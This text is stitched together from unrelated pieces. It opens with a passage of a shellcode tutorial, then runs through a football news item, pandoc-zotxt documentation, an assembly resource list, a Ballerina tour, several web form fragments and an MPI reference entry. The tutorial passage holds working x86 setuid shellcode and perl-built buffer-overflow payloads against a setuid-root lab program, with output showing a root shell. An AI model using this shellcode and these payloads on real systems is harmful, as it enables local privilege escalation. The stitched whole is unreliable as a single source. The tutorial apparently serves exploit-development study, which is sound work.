objdump -d ./your_program|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
debug@lbuntu:~/Documents/shellcode/chapter3/setuid_shell$ objdump -d ./a1.out|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' "\x6a\x17\x58\x31\xdb\xcd\x80\xb0\x2e\xcd\x80\xb0\x0b\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xd2\x52\x53\x89\xe1\xcd\x80" debug@lbuntu:~/Documents/shellcode/chapter3/setuid_shell$
Let's use our Shellcode to exploit the same program as in the last post. You can find details of the exploit development process at https://bluehood.github.io/exploitdev/2-3-entry.html and https://bluehood.github.io/exploitdev/2-4-entry.html. We firstly set the setuid bit on the program and then modify our exploit to include our Shellcode and correct the offsets.
debug@lbuntu:~/Documents/shellcode/chapter3/setuid_shell$ cp ~/Documents/exploitdev/chapter2/stack/simple_overflow ./simple_overflow debug@lbuntu:~/Documents/shellcode/chapter3/setuid_shell$ sudo chown root:root ./simple_overflow debug@lbuntu:~/Documents/shellcode/chapter3/setuid_shell$ sudo chmod +s ./simple_overflow debug@lbuntu:~/Documents/shellcode/chapter3/setuid_shell$
debug@lbuntu:~/Documents/shellcode/chapter3/setuid_shell$ python3 Python 3.6.9 (default, Jul 17 2020, 12:50:27) [GCC 8.4.0] on linux Type "help", "copyright", "credits" or "license" for more information. >>> shellcode="\x6a\x17\x58\x31\xdb\xcd\x80\xb0\x2e\xcd\x80\xb0\x0b\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xd2\x52\x53\x89\xe1\xcd\x80" >>> print(len(shellcode)) 34 >>>
(exploit) $(perl -e 'print "\x90"x138 . "\x6a\x17\x58\x31\xdb\xcd\x80\xb0\x2e\xcd\x80\xb0\x0b\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xd2\x52\x53\x89\xe1\xcd\x80" . “A”x4 "\x30\xfc\xff\xbf"x10')
The shellcode is 34 bytes in length. We adjust the NOP Sled and A characters accordingly. Launching the exploit gives us a root shell!
debug@lbuntu:~/Documents/shellcode/chapter3/setuid_shell$ env -i $(pwd)/simple_overflow $(perl -e 'print "\x90"x138 . "\x6a\x17\x58\x31\xdb\xcd\x80\xb0\x2e\xcd\x80\xb0\x0b\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xd2\x52\x53\x89\xe1\xcd\x80" . "A"x4 . "\x30\xfc\xff\xbf"x10') Hello ������������������������������������������������������������������������������������������������������������������������������������������jX1�̀�.̀� Sh//shh/bin��1�RS��̀AAAA0���0���0���0���0���0���0���0���0���0��� # id uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),122(sambashare),1000(debug) #
A Note about Length
When writing Shellcode it is of primary importance that the length of the Shellcode is kept as short as possible. This makes the Shellcode as portable as possible and maximises the number of programs we can exploit since we will be able to fit the Shellcode into smaller buffers. Whilst we included the setgid() syscall in out Shellcode it is not necessary to include this syscall to obtain a root shell. Indeed we can remove this syscall from the Shellcode and the exploit will still work.
(shellcode) \x6a\x17\x58\x31\xdb\xcd\x80\xb0\x0b\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xd2\x52\x53\x89\xe1\xcd\x80
Notice there are only two syscalls now (only two int 0x80 or \xcd\x80 commands). Let's modify the offsets in our exploit and try this Shellcode of length 30.
(exploit) $(perl -e 'print "\x90"x138 . "\x6a\x17\x58\x31\xdb\xcd\x80\xb0\x0b\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xd2\x52\x53\x89\xe1\xcd\x80" . "A"x8 . "\x30\xfc\xff\xbf"x10')
debug@lbuntu:~/Documents/shellcode/chapter3/setuid_shell$ env -i $(pwd)/simple_overflow $(perl -e 'print "\x90"x138 . "\x6a\x17\x58\x31\xdb\xcd\x80\xb0\x0b\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xd2\x52\x53\x89\xe1\xcd\x80" . "A"x8 . "\x30\xfc\xff\xbf"x10') Hello ������������������������������������������������������������������������������������������������������������������������������������������jX1�̀� Sh//shh/bin��1�RS��̀AAAAAAAA0���0���0���0���0���0���0���0���0���0��� # id uid=0(root) gid=1000(debug) groups=1000(debug),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),122(sambashare) #
The exploit still works and we have shaved off a further 4 bytes. Notice that the gid of the shell has not changed to root. This is because we did not run the setgid() syscall to change to gid of the process.
Those who are interested should not that this setuid Shellcode can be reduced further to 27 bytes for Linux x86. Can you do it?
References:
The Shellcoder's Handbook, Discovering and Exploiting Security Holes
Hacking, The Art of Exploitation, Jon Erikson


WATCH: John Terry explains why Mohamed Salah, Kevin de Bruyne flopped under Jose Mourinho at Chelsea
Mohamed Salah and Kevin de Bruyne’s woes under Jose Mourinho at Chelsea are well documented. Both players have gone on to become world-class players after cutting ties with the Blues. Former club captain John Terry now explains why the pair failed to make the grade under Mourinho.
Chelsea legend John Terry has explained why Mohamed Salah and Kevin de Bruyne flopped under Jose Mourinho at the club, stating that they weren’t good enough at that point.
Speaking to Dubai Eye 103.8, the ex-Chelsea skipper had this to say:
“Winning mentality is a must, whether it’s a small-sided game or possession-based. I see (Mohamed) Salah, (Kevin) De Bruyne come through, and they just couldn’t match his standards! They were very talented, very young individuals as well but Mourinho didn’t have time to put them into the team because we were winning every single week.
“His job’s on the line so if you come in and you’re ten-twenty per cent below the standards of say (Damien) Duff or Arjen (Robben), who were scoring twenty goals per season, you’re not going to make the team.
“Fair play to them, they’ve gone somewhere else and proved they are good enough but at that present time, they weren’t good enough for Chelsea.”
Jose Mourinho returned to the Premier League for his fourth stint recently, replacing Mauricio Pochettino at Tottenham. The Portuguese football coach will oversee a London derby in his opening match, as Spurs face West Ham United.


Script pandoc-zotxt.lua
SYNOPSIS
pandoc -L pandoc-zotxt.lua -C
DESCRIPTION
pandoc-zotxt.lua looks up sources of citations in Zotero and adds them either to a document's "references" metadata field or to a bibliography file, where Pandoc can pick them up.
You cite your sources using "easy citekeys" (provided by zotxt) or "Better BibTeX Citation Keys" (provided by Better BibTeX for Zotero). You then then tell pandoc to filter your document through pandoc-zotxt.lua before processing citations (Zotero must be running). That's all there is to it.
pandoc-zotxt.lua only looks up sources that are defined neither in the "references" metadata field nor in any bibliography file.
BIBLIOGRAPHY FILES
If you set the "zotero-bibliography" metadata field to a filename, then pandoc-zotxt.lua adds sources to that file, rather than to the "references" metadata field. It also adds the path of that file to the document's "bibliography" metadata field, so that Pandoc picks up the bibliographic data of those sources (you can safely set "zotero-bibliography" and "bibliography" at the same time). This speeds up subsequent processing of the same document, because pandoc-zotxt.lua will only fetch those sources from Zotero that are not yet in that file.
The biblography is stored as a CSL JSON file, so the bibliography file's name must end with ".json".
pandoc-zotxt.lua interprets relative filenames as relative to the directory of the first input file that you pass to pandoc or, if you do not pass any input file, as relative to the current working directory.
pandoc-zotxt.lua only ever adds sources to its bibliography file. It does not update or delete them. If you want to update the sources in your bibliography file, delete it. pandoc-zotxt.lua will then regenerate it from scratch.
EXAMPLE
pandoc -L pandoc-zotxt.lua -C <<EOF
See @doe2020Title for details.
EOF
This will look up "doe2020Title" in Zotero.
KNOWN ISSUES
Zotero v5.0.71 and v5.0.72 fail to handle HTTP requests from user agents that do not set the "User Agent" HTTP header. And pandoc does not. As a consequence, pandoc-zotxt.lua cannot retrieve data from these versions of Zotero unless you tell pandoc to set that header.
CAVEATS
pandoc-zotxt.lua is Unicode-agnostic.
SEE ALSO
pandoc(1)
Info:
- Copyright: 2018, 2019, 2020, 2021 Odin Kroeger
- Release: 1.1.0b
- License: MIT
- Author: Odin Kroeger
Metadata
| NAME | The name of this script. |
| VERSION | The version of this script. |
| SCPT_DIR | The directory the script is in. |
| SCPT_NAME | The filename of the script. |
File I/O
| PATH_SEP | The path segment seperator of the OS. |
| EOL | The end of line sequence of the OS. |
| path_split (path) | Split a file's path into a directory and a filename part. |
| path_join (...) | Join multiple path segments. |
| path_is_abs (path) | Check whether a path is absolute. |
| wd () | Get a directory to use as working directory. |
| file_exists (fname) | Check whether a filename refers to a file. |
| file_locate (fname) | Locate a file in Pandoc's resource path. |
| file_read (fname) | Read a file. |
| file_write (fname, ...) | Write data to a file. |
| tmp_fname ([dir[, templ='tmp_XXXXXX']]) | Generate a name for a temporary file. |
| tmp_file (...) | Create a temporary file. |
Warnings
| printf ([msg], ...) | Print a message to STDERR. |
| warnf ([msg], ...) | Print a warning to STDERR. |
Table manipulation
| keys (tab) | Return the keys and the length of a table. |
| lower_keys (tab) | Convert table keys to lowercase recursively. |
| sorted_pairs (tab[, func]) | Iterate over the keys of a table in a given order. |
Networking
| url_read (url) | Retrieve data from a URL via an HTTP GET request. |
Converters
| rconv_nums_to_strs (data) | Convert numbers to strings recursively. |
| yamlify (data[, ind=4[, sort_f]]) | Generate a YAML representation of some data. |
zotxt
| ZOTXT_BASE_URL | The URL to lookup citation data. |
| ZOTXT_KEYTYPES | Types of citation keys. |
| zotxt_get_item_csl (id) | Retrieve a CSL item (for use in bibliography files). |
| zotxt_get_item (id) | Retrieve a CSL item (for use in the references metadata field). |
Bibliography files
| CSL_KEY_ORDER | The preferred order of keys in YAML bibliography files. |
| BIBLIO_TYPES | A mapping of filename suffices to codecs. |
| BIBLIO_TYPES.bib | Read BibTeX/BibLaTeX files. |
| BIBLIO_TYPES.bib.decode (str) | Collect item IDs from the content of a BibTeX/BibLaTeX file. |
| BIBLIO_TYPES.bibtex | Alternative suffix for BibTeX/BibLaTeX files. |
| BIBLIO_TYPES.json | De-/Encode CSL items in JSON. |
| BIBLIO_TYPES.yaml | De-/Encode CSL items in YAML. |
| BIBLIO_TYPES.yaml.decode (str) | Parse a CSL YAML string. |
| BIBLIO_TYPES.yaml.encode (items) | Serialise a list of CSL items to a YAML string. |
| BIBLIO_TYPES.yml | Alternative suffix for YAML files. |
| csl_keys_sort (a, b) | Sorting function for CSL field names. |
| csl_items_sort (a, b) | Sorting function for CSL items. |
| csl_items_get_ids (items) | Pick the IDs of CSL items out of a list of CSL items. |
| biblio_read (fname) | Read a bibliography file. |
| biblio_write (fname[, items]) | Write sources to a bibliography file. |
| biblio_update (fname, ids) | Add items from Zotero to a bibliography file. |
Document parsing
| meta_get_sources (meta) | Collect sources from the document's metadata block. |
| doc_get_ckeys (doc[, flags]) | Collect the citation keys used in a document. |
Main
| add_biblio (meta, ckeys) | Add sources to a bibliography file and the file to the document's metadata. |
| add_refs (meta, ckeys) | Add sources to the references metadata field. |
| main (doc) | Collect sources and adds bibliographic data to a document. |
Metadata
- NAME
- The name of this script.
- VERSION
- The version of this script.
- SCPT_DIR
- The directory the script is in.
- SCPT_NAME
- The filename of the script.
File I/O
- PATH_SEP
- The path segment seperator of the OS.
- EOL
- The end of line sequence of the OS.
- path_split (path)
-
Split a file's path into a directory and a filename part.
Parameters:
- path string The file's path.
Returns:
Or
-
nil
nil
ifpath
is the empty string (''). - string An error message.
Raises:
An error if the path is the empty string. - path_join (...)
-
Join multiple path segments.
Parameters:
- ... string Path segments.
Returns:
-
string
The complete path.
Raises:
An error if no path segments are given or if a path segment is the empty string (''). - path_is_abs (path)
-
Check whether a path is absolute.
Parameters:
- path string A path.
Returns:
-
bool
true
if the path is absolute,false
otherwise.Raises:
An error if the path is the empty string (''). - wd ()
-
Get a directory to use as working directory.
Returns:
-
string
The directory of the first input file
or '.' if none was given.
- file_exists (fname)
-
Check whether a filename refers to a file.
Parameters:
- fname string The filename.
Returns:
-
bool
Whether the file exists.
- file_locate (fname)
-
Locate a file in Pandoc's resource path.
Absolute filenames are returned as they are.
Parameters:
- fname string A filename.
Returns:
-
string
A filename.
Or
-
nil
nil
if the file could not be found. - An error message.
- file_read (fname)
-
Read a file.
Parameters:
- fname string The name of the file.
Returns:
-
string
The content of the file.
Or
-
nil
nil
if an error occurred. - string An error message.
- int An error number.
- file_write (fname, ...)
-
Write data to a file.
The data is first written to a temporary file, that file is then renamed to the given name. If the file exists, it is overwritten. Tries to print a warning to STDERR if that happens
Parameters:
Returns:
-
bool
true
if the data was written to the given file.Or
-
nil
nil
if an error occurred. - string An error message.
- int An error number.
-
nil
- tmp_fname ([dir[, templ='tmp_XXXXXX']])
-
Generate a name for a temporary file.
Tries to make sure that there is no file with that name already.
Parameters:
- dir string A directory to prefix the filename with. Cannot be the empty string (''). (optional)
- templ string A template for the filename. 'X's are replaced with random alphanumeric characters. Cannot be the empty string (''). (default 'tmp_XXXXXX')
Returns:
-
string
A filename.
Or
-
nil
nil
if the generated filename is in use. - string An error message.
Raises:
An error if the template or the directory is not a string or the empty string (''). - tmp_file (...)
-
Create a temporary file.
The temporary file is removed when its file handle/filename pair is garbage-collected. If the file should not be removed, set
fname
tonil
. Prints errors that occur during garbage collection to STDERR. If you call os.exit tell it to close the Lua state, so that Lua runs the garbage collector before exiting the script.Tries not to overwrite existing files.
Parameters:
- ... Takes the same arguments as tmp_fname.
Returns:
-
{file=FILE*,fname=string}
A file handle/filename pair.
Or
-
nil
nil
if an error occurs. - string An error message.
- optional int An error number if the error is an I/O error.
Raises:
See tmp_fname.Usage:
do local tmp, ok, err tmp, err = tmp_file() if tmp then ok, err = tmp.file:write(data) if ok then ok, err = tmp.file:close() end if ok then ok, err = os.rename(tmp.fname, fname) end if ok then -- The temporary file was renamed, -- so disable deletion (which would fail). tmp.fname = nil else print(err) end else print(err) end end
Warnings
- printf ([msg], ...)
-
Print a message to STDERR.
Prefixes the message with
PRINTF_PREFIX' and appends
EOL`.Parameters:
- msg string The message. (optional)
- ... Arguments to that message (think string.format).
- warnf ([msg], ...)
-
Print a warning to STDERR.
Only prints values if
PANDOC_STATE.verbosity
is not 'ERROR'. Otherwise the same as printf.Parameters:
- msg string The message. (optional)
- ... Arguments to that message (think string.format).
Table manipulation
- keys (tab)
-
Return the keys and the length of a table.
Parameters:
- tab tab The table.
Returns:
-
tab
The keys of
tab
. -
int
tab
's length.
- lower_keys (tab)
-
Convert table keys to lowercase recursively.
Parameters:
- tab tab The table.
Returns:
-
A copy of
tab
with keys in lowercase. - sorted_pairs (tab[, func])
-
Iterate over the keys of a table in a given order.
Parameters:
- tab tab A table.
- func func A sorting function. If no function is given, sorts by number. (optional)
Returns:
-
func
A stateful iterator over
tab
.
Networking
- url_read (url)
-
Retrieve data from a URL via an HTTP GET request.
Parameters:
- url string The URL.
Returns:
Raises:
An error if no data can be retrieved. This error can only be caught in Pandoc v2.11 or later.
Converters
- rconv_nums_to_strs (data)
-
Convert numbers to strings recursively.
Also converts floating point numbers to integers. This is needed because all numbers are floating point numbers in JSON, but some versions of Pandoc expect integers.
Parameters:
- data tab The data.
Returns:
-
A copy of
data
with numbers converted to strings.Raises:
An error if the data is nested too deeply. - yamlify (data[, ind=4[, sort_f]])
-
Generate a YAML representation of some data.
Uses EOL to end lines.
Parameters:
- data The data.
- ind int How many spaces to indent blocks. (default 4)
- sort_f func A function to sort keys of mappings. Defaults to sorting them lexically. (optional)
Returns:
-
string
A YAML string.
Or
-
nil
nil
if the data cannot be represented in YAML. - An error message.
Raises:
An error if if the data is nested too deeply.
zotxt
- ZOTXT_BASE_URL
-
The URL to lookup citation data.
See https://github.com/egh/zotxt for details.
- ZOTXT_KEYTYPES
-
Types of citation keys.
See https://github.com/egh/zotxt for details.
Fields:
- key Zotero item ID
- betterbibtexkey Better BibTeX citation key
- easykey zotxt easy citekey
- zotxt_get_item_csl (id)
-
Retrieve a CSL item (for use in bibliography files).
Returns bibliographic data as a Lua table. The retrieved item can be passed to biblio_write; it should not be used in the
references
metadata field (unless you are using Pandoc prior to v2.11).Parameters:
- id string An item ID, e.g., 'name:2019word', 'name2019TwoWords'.
Returns:
-
table
A CSL item.
Or
-
nil
nil
if an error occurred. - string An error message.
Raises:
See zotxt_get_item. - zotxt_get_item (id)
-
Retrieve a CSL item (for use in the
references
metadata field).Returns bibliographic data as Pandoc metadata. That retrieved item can be used in the
references
metadata field; it should not be passed to biblio_write.Parameters:
- id string An item ID, e.g., 'name:2019word', 'name2019TwoWords'.
Returns:
-
pandoc.MetaMap
A CSL item.
Or
-
nil
nil
if an error occurred. - string An error message.
Raises:
See zotxt_get_item.
Bibliography files
- CSL_KEY_ORDER
-
The preferred order of keys in YAML bibliography files.
See appendix IV of the CSL specification and csl_keys_sort for details.
Fields:
- id Item ID.
- type For example, 'paper', 'book'.
- author Author(s).
- recipient Recipient of the document.
- status Publication status (e.g., 'forthcoming').
- issued When the item was published.
- title The title.
- short-title A short version of the title.
- abstract The abstract.
- translator Translator(s).
- collection-editor Editor(s).
- container-title Publication the item was published in.
- container-title-short A short version of that title.
- edition Container's edition.
- volume Volume no.
- issue Issue no.
- page-first First page.
- page Pages or page range or number of pages.
- publisher Publisher.
- publisher-place The city/cities the item was published in.
- doi The DOI.
- pmcid PubMed Central reference number.
- pmid PubMed reference number.
- url The URL.
- accessed When the URL was last accessed.
- isbn The ISBN of the item.
- issn The ISSN of the container.
- call-number Call number (of a library).
- language Language the item is in.
- BIBLIO_TYPES
-
A mapping of filename suffices to codecs.
If a key is not found, it is looked up again in lowercase.
- BIBLIO_TYPES.bib
- Read BibTeX/BibLaTeX files.
- BIBLIO_TYPES.bib.decode (str)
-
Collect item IDs from the content of a BibTeX/BibLaTeX file.
Parameters:
- str string The content of a BibTeX/BibLaTeX file.
Returns:
-
{{id=string},...}
A list of item IDs.
- BIBLIO_TYPES.bibtex
- Alternative suffix for BibTeX/BibLaTeX files.
- BIBLIO_TYPES.json
- De-/Encode CSL items in JSON.
- BIBLIO_TYPES.yaml
- De-/Encode CSL items in YAML.
- BIBLIO_TYPES.yaml.decode (str)
-
Parse a CSL YAML string.
Parameters:
- str string A CSL YAML string.
Returns:
-
tab
A list of CSL items.
- BIBLIO_TYPES.yaml.encode (items)
-
Serialise a list of CSL items to a YAML string.
Parameters:
- items tab A list of CSL items.
Returns:
-
string
A CSL YAML string.
Raises:
See yamlify. - BIBLIO_TYPES.yml
- Alternative suffix for YAML files.
- csl_keys_sort (a, b)
-
Sorting function for CSL field names.
Sorts field in the order in which they are listed in CSL_KEY_ORDER. Unlisted fields are placed after listed ones in lexical order.
Parameters:
Returns:
-
bool
Whether
a
should come beforeb
. - csl_items_sort (a, b)
-
Sorting function for CSL items.
Parameters:
- a tab A CSL item.
- b tab Another CSL item.
Returns:
-
bool
Whether
a
should come beforeb
. - csl_items_get_ids (items)
-
Pick the IDs of CSL items out of a list of CSL items.
Parameters:
- items tab A list of CSL items.
Returns:
-
{[string]=true,...}
A set
of item IDs.
Raises:
An error if an item has an ID that cannot be coerced to a string. - biblio_read (fname)
-
Read a bibliography file.
The filename suffix determines what format the contents of the file are parsed as. There must be a decoder for that suffix in BIBLIO_TYPES.
Parameters:
- fname string The filename.
Returns:
-
tab
A list of CSL items.
Or
-
nil
nil
if an error occurred. - string An error message.
- optional int An error number if the error is an I/O error.
- biblio_write (fname[, items])
-
Write sources to a bibliography file.
The filename suffix determins what format the data is written as. There must be an encoder for that suffix in BIBLIO_TYPES. If the file exists, it is overwritten. Tries to print a warning to STDERR if that happens. Ends every file with EOL.
Parameters:
- fname string A filename.
- items tab A list of CSL items. If no items are given, tests whether data can be written in the corresponding format. (optional)
Returns:
-
str
The filename suffix.
Or
-
nil
nil
if an error occurred. - string An error message.
- optional int An error number if the error is an I/O error.
Raises:
An error if the filename is the empty string. - biblio_update (fname, ids)
-
Add items from Zotero to a bibliography file.
If an item is already in the bibliography file, it won't be added again. Prints a warning to STDERR if it overwrites an existing file. Also prints an error to STDERR for every item that cannot be found.
Parameters:
- fname string The name of the bibliography file.
- ids
tab
The IDs of the items that should be added,
e.g.,
{'name:2019word', 'name2019WordWordWord'}
.
Returns:
-
bool
true
if the file was updated or no update was required.Or
-
nil
nil
if an error occurrs. - string An error message.
- optional int An error number if the error is a file I/O error.
Raises:
See zotxt_get_item.
Document parsing
- meta_get_sources (meta)
-
Collect sources from the document's metadata block.
Reads the
references
metafata field and every bibliography file referenced by thebibliography
metadata field.Prints errors to STDERR if it cannot parse a bibliography file.
Parameters:
- meta tab A metadata block.
Returns:
-
pandoc.List
A list of CSL items.
- doc_get_ckeys (doc[, flags])
-
Collect the citation keys used in a document.
Prints errors to STDERR if it cannot parse a bibliography file.
Parameters:
- doc tab A document.
- flags
string
If the flag 'u' is given, collects only citation keys
of sources that are neither defined in the
references
metadata field nor in any bibliography file. (optional)
Returns:
-
{string,...}
A list of citation keys.
Raises:
An error if an item ID is of an illegal data type.
Main
- add_biblio (meta, ckeys)
-
Add sources to a bibliography file and the file to the document's metadata.
Updates the bibliography file as needed and adds it to the
bibliography
metadata field. Interpretes a relative filename as relative to the directory of the first input file passed to pandoc, not as relative to the current working directory (unless no input files are given).Parameters:
- meta
tab
A metadata block, with the field
zotero-bibliography
set to the filename of the bibliography file. - ckeys
tab
The citaton keys of the items that should be added,
e.g.,
{'name:2019word', 'name2019WordWordWord'}
. Citation keys are just item IDs.
Returns:
-
table
An updated metadata block, with the field
bibliography
added if needed.Or
-
nil
nil
if no sources were found,zotero-bibliography
is not set, or an error occurred. - string An error message, if applicable.
Raises:
See zotxt_get_item. - meta
tab
A metadata block, with the field
- add_refs (meta, ckeys)
-
Add sources to the
references
metadata field.Prints an error message to STDERR for every source that cannot be found.
Parameters:
- meta tab A metadata block.
- ckeys
tab
The citation keys of the items that should be added,
e.g.,
{'name:2019word', 'name2019WordWordWord'}
. Citation keys are just item IDs.
Returns:
-
table
An updated metadata block,
with the field
references
added if needed.Or
-
nil
nil
if no sources were found or an error occurred. - string An error message, if applicable.
Raises:
See zotxt_get_item. - main (doc)
-
Collect sources and adds bibliographic data to a document.
Prints messages to STDERR if errors occur.
See the manual for details.
Parameters:
- doc table A document.
Returns:
-
table
doc
, but with bibliographic data added.Or
-
nil
nil
if nothing was done or an error occurred.Raises:
See zotxt_get_item.


Learning Assembly Language
Contents
Learning Assembly Language#
Introduction#
It seems that nearly all of the tools used in Vulnerability Science generate (or expose) assembly language at some point.  If you want to be craftsman in vulnerability science, you need to get comfortable with assembly. Unfortunately, most of my knowledge in this area dates back to my EE classes in college.
What follows on this page is not a lesson in assembly, nor a series of specifically helpful tutorials. Instead, it is a list of resources that I have found while attempting to develop my skills in this area. Many of them I have either read, viewed, or worked through. Some are posted for my future evaluation. Where appropriate, I’ll provide some notes and commentary.
Books of Interest#
Assembly Language Step by Step, Jeff Duntemann. This is an older book, originally written in 1989 and updated a few times, but it is worth it. The link here is to the third edition, published in 2009, which seemed quite dated when I was reading it in 2020/2021. I made myself slow down and attempt to ingest it, even knowing that it was focused on 32-bit systems and I was really interested in the 64-bit variety. The author does a great job of helping you understand what is happening at the lowest levels inside the machine, and why it matters. If you read this, you may feel like you are wasting your time, but this falls in the “Trust the process” category… read it, understand it, more modern books/posts/etc. will make a ton more sense to you.
Beginning X64 Assembly Programming, Jo Van Hoey
Modern X86 Assembly Language Programming, Daniel Kusswurm
Programming with 64-Bit ARM Assembly Language: Single Board Computer Development for Raspberry Pi and Mobile Devices, Stephen Smith
Raspberry Pi Assembly Language Programming: ARM Processor Coding, Stephen Smith
Videos of Interest#
Why should I learn assembly language in 2020? (complete waste of time?), Jacob Sorber This is a short (~6 min) explanation of why learning assembly language is worth your time. It is well-produced, engaging, and worthy it if you find yourself asking if you should.
Assembly Language Tutorial on Raspberry Pi, Derek Banas. This is a 4-part series that introduces you to assembly using the common/easy-to-find Raspberry Pi. The entire series will take about 2.5 hours to watch if you don’t stop to work through any examples.
x86 Assembly: Hello World!, John Hammond. This is a short (~15 min) clip that walks through a simple assembly-language program while the author is somewhat learning himself. This is quite beginner, and not entirely correct, but it is an easy watch and may help get you in the right “head space” for some of the others.
x86_64 Linux Assembly, kupala. If you are only going to spend time on one video series, I’d start here (well, after the “why should I” at the beginning of this list). This is a series of 13 videos, most of them short (4-15 min), walking through a collection of assembly language topics. The series is focused on
x86_64
Linux and will give you a heads-up on things you need to know to get started writing and understanding assembly. What I think is cool about this series, is that it gets into a number of not-quite-as-but-still-basic topics such as:Jumps, Calls, Comparisons
Registiers as pointers
Getting User Input
Math Operations
Subroutines
Macros
Command Line Arguments
Reading/Writing files
Tutorials#
Cheat Sheets#
Miscellany#
A Different List#
It looks like Adam Wood had the same idea I did, and assembled his own list of resources for learning assembly language. He last updated only a year ago, so it is still pretty relevant.
NASM Assembly Language Tutorial#
There’s a nice series of lessons and walk-throughs created by Daniel Givney. You can access them at https://asmtutor.com/
40 Basic Practices in Assembly Language Programming#
A list of best practices for assembly programming developed by Zuoliu Ding.
Examples of Assembly#
A simple search on GitHub provides many examples to review.
C Code to Assembly#
Easy way to get clang
to give you the assembly-language version of your c-language program:
clang -S hello.c
This will yield a *.s
file (check out the scratch
directory)
System Call Definitions#
System calls are defined in unistd.h
(64-bit) and unistd_32.h
in /usr/include/x86_64-linux-gnu/asm/
on Ubuntu
32-bit ASM on 64-bit Host#
Building a 32-bit hello-world on 64-bit host requires being explicit about the types. Many 32-bit only books exclude this as they were written on 32-bit machines and this was not a requirement at the time.
# create the 32-bit object file
nasm -f elf32 -o hello_world.o hello_world.asm
# run the linker and create the executable
ld -m elf_i386 -o hello_world hello_world.o
# run the executeable
./hello_world


StackOverflow Lite
Home
Features
Gallery
Sign in
StackOverflow Lite Sign up page
Sign Up
First Name
Last Name
Email
Password
Submit


Quick Tour
Now that you know a little bit about Ballerina, let's take it for a spin!
Install Ballerina
- Go to http://www.ballerinalang.org and click Download.
- Download the Ballerina Tools distribution and unzip it on your computer. Ballerina Tools includes the Ballerina runtime plus the visual editor (Composer) and other tools.
- Add the
<ballerina_home>/bin
directory to your $PATH environment variable so that you can run the Ballerina commands from anywhere.
NOTE: Throughout this documentation,
<ballerina_home>
refers to the Ballerina directory you just installed.
Run HelloWorld
The HelloWorld sample will show you how easy it is to run Ballerina, send it a request, and get a response.
Let's take a look at what the sample looks like in the Ballerina programming language:
import ballerina.lang.system;
function main (string[] args) {
system:println("Hello, World!");
}
The HelloWorld sample doesn't take any specific input, so simply running it will cause it to print "Hello, World!" at the command line.
At the command prompt, navigate to the <ballerina_home>/samples/helloWorld
directory and enter the following line:
ballerina run main helloworld.bal
You will see the following response:
Hello, World!
You just started Ballerina, ran the HelloWorld sample, and got a response within seconds.
Pretty simple and straightforward, right? Now, let's look at something a little more interesting: the Composer.
Why Ballerina Composer
The Ballerina Composer provides a flexible and powerful browser-based tool for creating your Ballerina programs. This is a revolutionary way of doing programming for integration due to its use of sequence diagrams, enabling you to architecturally generate your code while designing your solution. The Ballerina Composer sets Ballerina apart from other integration paradigms due to its unique visual representation.
You can build your integrations by creating sequence diagrams, dragging elements from a tool palette onto a canvas. As you build the diagrams, the underlying code is written for you, which you can work with in the Source view. You can also use the Swagger view to define services by writing Swagger definitions. You can switch seamlessly between the Design view, Source view, and Swagger view and create your programs in the way that you like to work.
Run the Composer
-
At the command prompt, type
composer
. -
Access the Composer from the following URL in your browser: http://localhost:9091
The welcome page of Ballerina Composer appears.
Let's open a sample and take a look around.
Explore the Ballerina Composer
Once you have accessed the composer, you can have a look around using the available samples in the welcome page of the Ballerina Composer.
-
Click echoService.
The Echo Service program displays in the Composer.
Notice that on the left you have a tool palette containing the various constructs that you'll use to build your integration. On the right, you have a visual editor with a canvas onto which you drag those constructs. This is where you build your sequence diagrams that define your integration logic.
Also notice the Source View and Swagger View buttons in the lower right corner.
-
Click Source View.
You'll see the source code editor that represents the sequence diagram as code in the Ballerina language. You can go back and forth between the visual editor and the source code and make your edits in either place.
-
Click Swagger View.
If your Ballerina program contains services and resources, you can view the generated Swagger definition for your program by switching to the Swagger view. This editor allows you to write Swagger definitions to create services. All the changes made on the Swagger definition will reflect on the Ballerina program when you switch back to Source or Design view.
-
Click Design View to return to the visual editor. If you happen to write the source code completely in the source view, when you switch to Design view, the Visual representation is created.
-
Click the "x" to the right of "untitled" in the tab title to close this sample, and click Don't Save when prompted.
Now that you've had a look around, it's time to take Ballerina for a spin and write your first Ballerina program.


This test lets you send and receive data to and from the WebSocket server. Every message that you send to the server will be "echoed" back to you in a separate message

 <form hx-ws="send"> <input type="text" name="message" style="width:500px;" value="This Is The Message" /> <input type="submit"/> </form>


--- layout: home author_profile: true sidebar: nav: shortcuts ---
This research group focuses on the development enhanced molecular dynamics techniques for studying physical systems. We are interested in enhanced sampling methods for predicting kinetics and thermodynamics of complex systems using atomistic simulations, statistical mechanics and machine learning.
The research is led by Jakub Rydzewski, within the Department of Biophysics at the Institute of Physics, Nicolaus Copernicus University in Torun, Poland.


| Search for record: |
|---|
| Sort Results: |
|
Sort by:
|
|
Number of records per page:
|
| Assign DOI/ARK | Title | Author | Publish Date | Summary | DOI/ARK Request |
{{record.title}} |
- {{author.name}}
|
{{record.md_pub_date.$date | date : "short"}} | {{record.summary}} | {{record.doi_ark_request}} |
| Previous | {{ i }} | Next |


| MPI_COMM_CREATE_ERRHANDLER(function, errhandler) | |
| IN function | user defined error handling procedure (function) |
| OUT errhandler | MPI error handler (handle) |
int MPI_Comm_create_errhandler(MPI_Comm_errhandler_function *function, MPI_Errhandler *errhandler)
MPI_COMM_CREATE_ERRHANDLER(FUNCTION, ERRHANDLER, IERROR)
